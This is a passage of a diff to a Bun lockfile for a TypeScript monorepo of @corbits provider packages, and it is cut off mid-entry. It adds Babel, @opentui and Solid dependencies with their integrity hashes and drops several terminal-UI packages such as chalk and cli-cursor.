"sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg=="], + + "@babel/traverse": ["@babel/traverse@7.29.8", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.8", "@babel/helper-globals": "^7.29.7", "@babel/parser": "^7.29.8", "@babel/template": "^7.29.7", "@babel/types": "^7.29.8", "debug": "^4.3.1" } }, "sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg=="], + + "@babel/types": ["@babel/types@7.29.8", "", { "dependencies": { "@babel/helper-string-parser": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7" } }, "sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg=="], + "@corbits/first-class-providers": ["@corbits/first-class-providers@workspace:packages/first-class-providers"], "@corbits/provider-opencode-go": ["@corbits/provider-opencode-go@workspace:packages/opencode-go"], @@ -103,18 +167,46 @@ "@intx/types": ["@intx/types@0.2.2", "", { "dependencies": { "arktype": "^2.1.29", "semver": "^7.7.2" } }, "sha512-9DYTXLuf6ARsHWOWnRuOaA/+5haM3yJVUhvzlps/eQTH6zjk3CMOlbgKUtBYZ164MhC5IbXCvJTLGyM1grpMqw=="], + "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], + + "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="], + + "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="], + + "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + "@logtape/hono": ["@logtape/hono@2.1.1", "", { "peerDependencies": { "@logtape/logtape": "^2.1.1", "hono": "^4.0.0" } }, "sha512-U6bU0MscH3b8DHyrlJhPgnu2XpFwwf0qnd8xPNh9/DXmVG/YF3ITWiB6rqk/2dCOdLdrHq3GtKGrtoRQJg20Qw=="], "@logtape/logtape": ["@logtape/logtape@2.1.1", "", {}, "sha512-aULbCqUQGerfOsZ3CMvcKtueKzmdchluXYUd3bIHKmOIS93fx1ko0+hyRQ4flloGZ8EiyRPydZXiy8n1J/eAQA=="], "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.29.0", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-zo37mZA9hJWpULgkRpowewez1y6ML5GsXJPY8FI0tBBCd77HEvza4jDqRKOXgHNn867PVGCyTdzqpz0izu5ZjQ=="], + "@opentui/core": ["@opentui/core@0.5.1", "", { "dependencies": { "bun-ffi-structs": "0.3.1", "diff": "9.0.0", "marked": "17.0.1", "string-width": "7.2.0", "strip-ansi": "7.1.2" }, "optionalDependencies": { "@opentui/core-darwin-arm64": "0.5.1", "@opentui/core-darwin-x64": "0.5.1", "@opentui/core-linux-arm64": "0.5.1", "@opentui/core-linux-arm64-musl": "0.5.1", "@opentui/core-linux-x64": "0.5.1", "@opentui/core-linux-x64-musl": "0.5.1", "@opentui/core-win32-arm64": "0.5.1", "@opentui/core-win32-x64": "0.5.1" }, "peerDependencies": { "web-tree-sitter": "0.25.10" } }, "sha512-mIBFyqIP4rkhQ35uldLXWawWQ6S9tvNWvmxGmDJ7W9cLXjegG6gKEfZ/4NyIMma755ERs/sqO/pIh3Ytf3DDFg=="], + + "@opentui/core-darwin-arm64": ["@opentui/core-darwin-arm64@0.5.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Yl3JBLYRrBN+SxXY/gYaqCT/JNrN50K4xO7hYC+/Si8/FgOrBlbRmfJIUNQdZMMLUvOMA+I813+hDw3xfarBzQ=="], + + "@opentui/core-darwin-x64": ["@opentui/core-darwin-x64@0.5.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-kqMVu+LGuHSCxYFkVJtmuyLLLTMztILSNnlx1eSpHHUiDV4PMc+zkxwRIXO+o0TFTW3gNUKleKUkggriYje7Vw=="], + + "@opentui/core-linux-arm64": ["@opentui/core-linux-arm64@0.5.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-PpE1nCHRkxEvSYyZFMToPHjQoVh50A7+BbgetlTX/5ImXzo6iSO83a+7M/1WgZnNu+uZJf5GZKAAcLoRrvQl3Q=="], + + "@opentui/core-linux-arm64-musl": ["@opentui/core-linux-arm64-musl@0.5.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-rmFMtiCm8I0fESB834sTN/ewoI+QDSber588ZO+i08JR6mbv7hkiKW2H/MhiAY1GxGK4nXApleBMyGVOlVDvgQ=="], + + "@opentui/core-linux-x64": ["@opentui/core-linux-x64@0.5.1", "", { "os": "linux", "cpu": "x64" }, "sha512-/CxFxFv+ffMof2nYQrpgEfNkWKkKxYUSfwdt2RdDN5fZRhcxjE949743rV0Oovw5Az63qxPgbyfcZVNVO2HVNg=="], + + "@opentui/core-linux-x64-musl": ["@opentui/core-linux-x64-musl@0.5.1", "", { "os": "linux", "cpu": "x64" }, "sha512-WO8RjhqKyqW/7P0xHdEVT8JGfU2MO7RlK0kdkNnRSnAEVwsTNd2ibhmKDPLGpo/DKaLuA00CsnrNiLGZZiQJKQ=="], + + "@opentui/core-win32-arm64": ["@opentui/core-win32-arm64@0.5.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-AgeTjZbdMxSiuBjyLvcug91qd1Ds6Dlg5z4lCInqL7mPQicDEnKZs5lF2FAaktcU7RPi2wLybbQ/vM0NbpXYmw=="], + + "@opentui/core-win32-x64": ["@opentui/core-win32-x64@0.5.1", "", { "os": "win32", "cpu": "x64" }, "sha512-VttbQHVoZQ5uW5IcQeUHPEx/WFQ2mMflukhhbBjpNSdZOPdzmmC4QGFPQznJVwuzXTnjQ2Nll4AY0ROJ/Q3nkw=="], + + "@opentui/keymap": ["@opentui/keymap@0.5.1", "", { "dependencies": { "@opentui/core": "0.5.1" }, "peerDependencies": { "@opentui/react": "0.5.1", "@opentui/solid": "0.5.1", "react": ">=19.2.0", "solid-js": "1.9.12" }, "optionalPeers": ["@opentui/react", "@opentui/solid", "react", "solid-js"] }, "sha512-JmnueekbkzVVdYGuDjdS8m1pS7hEJy7RArxZil31S9LlybNY42M/KR66tWzjwP22UjyAimn7HmlfvC7ZVyPQqA=="], + + "@opentui/solid": ["@opentui/solid@0.5.1", "", { "dependencies": { "@babel/core": "7.28.0", "@babel/preset-typescript": "7.27.1", "@opentui/core": "0.5.1", "babel-plugin-module-resolver": "5.0.2", "babel-preset-solid": "1.9.12", "entities": "7.0.1", "s-js": "^0.4.9" }, "peerDependencies": { "solid-js": "1.9.12" } }, "sha512-eynJILdvxmprr7oou3cqAiAzZ6zzRU0m1y42/L9GZObTKr76tVtPFQpLvQl6ZJTWMoswpwx1pJWqcUN+ZAI8Rg=="], + "@types/bun": ["@types/bun@1.3.9", "", { "dependencies": { "bun-types": "1.3.9" } }, "sha512-KQ571yULOdWJiMH+RIWIOZ7B2RXQGpL1YQrBtLIV3FqDcCu6FsbFUBwhdKUlCKUpS3PJDsHlJ1QKlpxoVR+xtw=="], "@types/node": ["@types/node@25.9.1", "", { "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "sha512-xfrlY7UD5rMJk3ZVJP8BNzS28J36YJg+xp+LPXV1TdWxr8uMH5A860QNxYDGQe/ylDSgjxE52Q9VnO7p75tJxg=="], - "@types/react": ["@types/react@19.2.15", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-eRwcGNHve+E8qtEQSSRl6urh+rFop4v8gm6O8rGv25CodbvFdLjA1vVQ1KkiFE0w0UPOnb8tDiFKL5lp0rtY5Q=="], - "abort-controller": ["abort-controller@3.0.0", "", { "dependencies": { "event-target-shim": "^5.0.0" } }, "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg=="], "accepts": ["accepts@2.0.0", "", { "dependencies": { "mime-types": "^3.0.0", "negotiator": "^1.0.0" } }, "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng=="], @@ -123,28 +215,38 @@ "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="], - "ansi-escapes": ["ansi-escapes@7.3.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg=="], - "ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], - "ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], - "arkregex": ["arkregex@0.0.5", "", { "dependencies": { "@ark/util": "0.56.0" } }, "sha512-ncYjBdLlh5/QnVsAA8De16Tc9EqmYM7y/WU9j+236KcyYNUXogpz3sC4ATIZYzzLxwI+0sEOaQLEmLmRleaEXw=="], "arktype": ["arktype@2.2.0", "", { "dependencies": { "@ark/schema": "0.56.0", "@ark/util": "0.56.0", "arkregex": "0.0.5" } }, "sha512-t54MZ7ti5BhOEvzEkgKnWvqj+UbDfWig+DHr5I34xatymPusKLS0lQpNJd8M6DzmIto2QGszHfNKoFIT8tMCZQ=="], "async-lock": ["async-lock@1.4.1", "", {}, "sha512-Az2ZTpuytrtqENulXwO3GGv1Bztugx6TT37NIo7imr/Qo0gsYiGtSdBa2B6fsXhTpVZDNfu1Qn3pk531e3q+nQ=="], - "auto-bind": ["auto-bind@5.0.1", "", {}, "sha512-ooviqdwwgfIfNmDwo94wlshcdzfO64XV0Cg6oDsDYBJfITDz1EngD2z7DkbvCWn+XIMsIqW27sEVF6qcpJrRcg=="], - "available-typed-arrays": ["available-typed-arrays@1.0.7", "", { "dependencies": { "possible-typed-array-names": "^1.0.0" } }, "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ=="], + "babel-plugin-jsx-dom-expressions": ["babel-plugin-jsx-dom-expressions@0.40.7", "", { "dependencies": { "@babel/helper-module-imports": "7.18.6", "@babel/plugin-syntax-jsx": "^7.18.6", "@babel/types": "^7.20.7", "html-entities": "2.3.3", "parse5": "^7.1.2" }, "peerDependencies": { "@babel/core": "^7.20.12" } }, "sha512-/O6JWUmjv03OI9lL2ry9bUjpD5S3PclM55RRJEyCdcFZ5W2SEA/59d+l2hNsk3gI6kiWRdRPdOtqZmsQzFN1pQ=="], + + "babel-plugin-module-resolver": ["babel-plugin-module-resolver@5.0.2", "", { "dependencies": { "find-babel-config": "^2.1.1", "glob": "^9.3.3", "pkg-up": "^3.1.0", "reselect": "^4.1.7", "resolve": "^1.22.8" } }, "sha512-9KtaCazHee2xc0ibfqsDeamwDps6FZNo5S0Q81dUqEuFzVwPhcT4J5jOqIVvgCA3Q/wO9hKYxN/Ds3tIsp5ygg=="], + + "babel-preset-solid": ["babel-preset-solid@1.9.12", "", { "dependencies": { "babel-plugin-jsx-dom-expressions": "^0.40.6" }, "peerDependencies": { "@babel/core": "^7.0.0", "solid-js": "^1.9.12" }, "optionalPeers": ["solid-js"] }, "sha512-LLqnuKVDlKpyBlMPcH6qEvs/wmS9a+NczppxJ3ryS/c0O5IiSFOIBQi9GzyiGDSbcJpx4Gr87jyFTos1MyEuWg=="], + + "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + "base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.11.12", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-r7WnVImvVCeFpf2DOXfy41aPWzeNg3H/A2X4dKmy1QL0MSyyk/e7z8ihJ3N6Nn2PsdhkVlqnEfnUE4a05P2aTA=="], + "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="], + "brace-expansion": ["brace-expansion@2.1.4", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-hGfVzPxthbf3+2yjg/RBs60cB0FhqBS/zvdV/4wn4/BmN0bNMMHPc4V/BbFieqf1TKAGGAHnY4eSjajCl0f2Xg=="], + + "browserslist": ["browserslist@4.28.7", "", { "dependencies": { "baseline-browser-mapping": "^2.10.44", "caniuse-lite": "^1.0.30001806", "electron-to-chromium": "^1.5.393", "node-releases": "^2.0.51", "update-browserslist-db": "^1.2.3" }, "bin": { "browserslist": "cli.js" } }, "sha512-JxV13hNrFxqjOc8alRbq9dK1MM79NEXYpma2B2J4wAtpWS5zIEIKqWPGCl7N4o7Uc7B7itylh7SuDujATRyyTw=="], + "buffer": ["buffer@6.0.3", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.2.1" } }, "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA=="], + "bun-ffi-structs": ["bun-ffi-structs@0.3.1", "", { "peerDependencies": { "typescript": "^5" } }, "sha512-3gM7PpVWLyrwxWjcilSiGuhWanhZivvo6l0u573NziPH6f/gwk6McbaYgn7oJWov6pKGRTDbrg94W5DcJsKTtQ=="], + "bun-types": ["bun-types@1.3.9", "", { "dependencies": { "@types/node": "*" } }, "sha512-+UBWWOakIP4Tswh0Bt0QD0alpTY8cb5hvgiYeWCMet9YukHbzuruIEeXC2D7nMJPB12kbh8C7XJykSexEqGKJg=="], "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], @@ -155,23 +257,15 @@ "call-bound": ["call-bound@1.0.4", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "get-intrinsic": "^1.3.0" } }, "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg=="], - "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], + "caniuse-lite": ["caniuse-lite@1.0.30001806", "", {}, "sha512-72Cuvd95zbSYPKq6Fhg8eDJRlzgWDf7/mtoZv6Qe/DYNCEBdNxoA3+rZAU2ZhGCpZlns3EssFavaZomckT5Uuw=="], "clean-git-ref": ["clean-git-ref@2.0.1", "", {}, "sha512-bLSptAy2P0s6hU4PzuIMKmMJJSE6gLXGH1cntDu7bWJUksvuM+7ReOK61mozULErYvP6a15rnYl0zFDef+pyPw=="], - "cli-boxes": ["cli-boxes@4.0.1", "", {}, "sha512-5IOn+jcCEHEraYolBPs/sT4BxYCe2nHg374OPiItB1O96KZFseS2gthU4twyYzeDcFew4DaUM/xwc5BQf08JJw=="], - - "cli-cursor": ["cli-cursor@4.0.0", "", { "dependencies": { "restore-cursor": "^4.0.0" } }, "sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg=="], - - "cli-truncate": ["cli-truncate@6.0.0", "", { "dependencies": { "slice-ansi": "^9.0.0", "string-width": "^8.2.0" } }, "sha512-3+YKIUFsohD9MIoOFPFBldjAlnfCmCDcqe6aYGFqlDTRKg80p4wg35L+j83QQ63iOlKRccEkbn8IuM++HsgEjA=="], - - "code-excerpt": ["code-excerpt@4.0.0", "", { "dependencies": { "convert-to-spaces": "^2.0.1" } }, "sha512-xxodCmBen3iy2i0WtAK8FlFNrRzjUqjRsMfho58xT/wvZU1YTM3fCnRjcy1gJPMepaRlgm/0e6w8SpWHpn3/cA=="], - "content-disposition": ["content-disposition@1.1.0", "", {}, "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g=="], "content-type": ["content-type@1.0.5", "", {}, "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA=="], - "convert-to-spaces": ["convert-to-spaces@2.0.1", "", {}, "sha512-rcQ1bsQO9799wq24uE5AM2tAILy4gXGIK/njFWcVQkGNZ96edlpY+A7bjwvzjYvLDyzmG1MmMLZhpcsb+klNMQ=="], + "convert-source-map": ["convert-source-map@2.0.0", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="], "cookie": ["cookie@0.7.2", "", {}, "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w=="], @@ -193,15 +287,21 @@ "depd": ["depd@2.0.0", "", {}, "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="], + "diff": ["diff@9.0.0", "", {}, "sha512-svtcdpS8CgJyqAjEQIXdb3OjhFVVYjzGAPO8WGCmRbrml64SPw/jJD4GoE98aR7r25A0XcgrK3F02yw9R/vhQw=="], + "diff3": ["diff3@0.0.3", "", {}, "sha512-iSq8ngPOt0K53A6eVr4d5Kn6GNrM2nQZtC740pzIriHtn4pOQ2lyzEXQMBeVcWERN0ye7fhBsk9PbLLQOnUx/g=="], "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="], "ee-first": ["ee-first@1.1.1", "", {}, "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="], + "electron-to-chromium": ["electron-to-chromium@1.5.401", "", {}, "sha512-H6ViHN68nGYlChEvlIU67fn8O2/tpbWQPwck98yaJmh+08LSvHiydzDQ6oXNccLU3kNRVIRS9A4mA7CG+i6fLQ=="], + + "emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="], + "encodeurl": ["encodeurl@2.0.0", "", {}, "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg=="], - "environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="], + "entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="], "es-define-property": ["es-define-property@1.0.1", "", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="], @@ -209,12 +309,10 @@ "es-object-atoms": ["es-object-atoms@1.1.2", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw=="], - "es-toolkit": ["es-toolkit@1.47.0", "", {}, "sha512-n1GuoD0WEQZMBk5tttoZSqwgyLx01oqa5XsBmCHwPyNe1S9jPBEmtR2pSgp2kJuWE3ciFZ6yRHmY4pM4C3OOkw=="], + "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], "escape-html": ["escape-html@1.0.3", "", {}, "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="], - "escape-string-regexp": ["escape-string-regexp@2.0.0", "", {}, "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w=="], - "etag": ["etag@1.8.1", "", {}, "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="], "event-target-shim": ["event-target-shim@5.0.1", "", {}, "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ=="], @@ -235,20 +333,30 @@ "finalhandler": ["finalhandler@2.1.1", "", { "dependencies": { "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "on-finished": "^2.4.1", "parseurl": "^1.3.3", "statuses": "^2.0.1" } }, "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA=="], + "find-babel-config": ["find-babel-config@2.1.2", "", { "dependencies": { "json5": "^2.2.3" } }, "sha512-ZfZp1rQyp4gyuxqt1ZqjFGVeVBvmpURMqdIWXbPRfB97Bf6BzdK/xSIbylEINzQ0kB5tlDQfn9HkNXXWsqTqLg=="], + + "find-up": ["find-up@3.0.0", "", { "dependencies": { "locate-path": "^3.0.0" } }, "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg=="], + "for-each": ["for-each@0.3.5", "", { "dependencies": { "is-callable": "^1.2.7" } }, "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg=="], "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="], "fresh": ["fresh@2.0.0", "", {}, "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A=="], + "fs.realpath": ["fs.realpath@1.0.0", "", {}, "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="], + "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], + "gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="], + "get-east-asian-width": ["get-east-asian-width@1.6.0", "", {}, "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA=="], "get-intrinsic": ["get-intrinsic@1.3.0", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "function-bind": "^1.1.2", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "math-intrinsics": "^1.1.0" } }, "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ=="], "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="], + "glob": ["glob@9.3.5", "", { "dependencies": { "fs.realpath": "^1.0.0", "minimatch": "^8.0.2", "minipass": "^4.2.4", "path-scurry": "^1.6.1" } }, "sha512-e1LleDykUz2Iu+MTYdkSsuWX8lvAjAcs0Xef0lNIu0S2wOAzuTxCJtcd9S3cijlwYF18EsU3rzb8jPVobxDh9Q=="], + "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], "has-property-descriptors": ["has-property-descriptors@1.0.2", "", { "dependencies": { "es-define-property": "^1.0.0" } }, "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg=="], @@ -263,6 +371,8 @@ "hono": ["hono@4.12.23", "", {}, "sha512-eIaZ9qDgu7XV0pxOCrg7/WhnQ6Ivm22UcxhXx/A3dcbqbbYgBEkc6e/J/s7j2tS96zoB0S9VBdLwQNCWwUo4LA=="], + "html-entities": ["html-entities@2.3.3", "", {}, "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA=="], + "http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="], "iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, 